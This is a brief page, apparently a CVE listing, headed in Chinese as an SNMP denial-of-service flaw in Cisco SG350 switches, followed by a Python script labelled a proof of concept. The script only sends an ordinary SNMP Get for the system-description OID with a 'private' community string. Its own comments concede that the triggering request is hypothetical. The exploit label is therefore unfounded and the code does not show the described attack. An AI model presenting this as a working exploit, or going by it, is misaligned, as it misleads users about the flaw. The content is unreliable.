CVE-2026-20185 Cisco SG350系列交换机SNMP DoS漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-20185 # Requires: pip install pysnmp # Note: The specific OID or data pattern triggering the vulnerability is hypothetical based on the description. # Actual exploitation requires the specific crafted request mentioned in the advisory. from pysnmp.hlapi import * def send_snmp_packet(ip, community, oid): """ Sends an SNMP Get request to the target. """ error_indication, error_status, error_index, var_binds = next( getCmd(SnmpEngine(), CommunityData(community), UdpTransportTarget((ip, 161)), ContextData(), ObjectType(ObjectIdentity(oid))) ) if error_indication: print(f"Error: {error_indication}") elif error_status: print(f"Error: {error_status.prettyPrint()} at {error_index}") else: for var_bind in var_binds: print(f"{var_bind[0]} = {var_bind[1]}") if __name__ == "__main__": target_ip = "192.168.1.1" # Replace with target IP snmp_community = "private" # Replace with valid read-write community string # The vulnerability likely involves a specific OID or malformed request. # Replace with the specific OID mentioned in technical advisories if available. target_oid = "1.3.6.1.2.1.1.1" print(f"Sending packet to {target_ip}...") send_snmp_packet(target_ip, snmp_community, target_oid)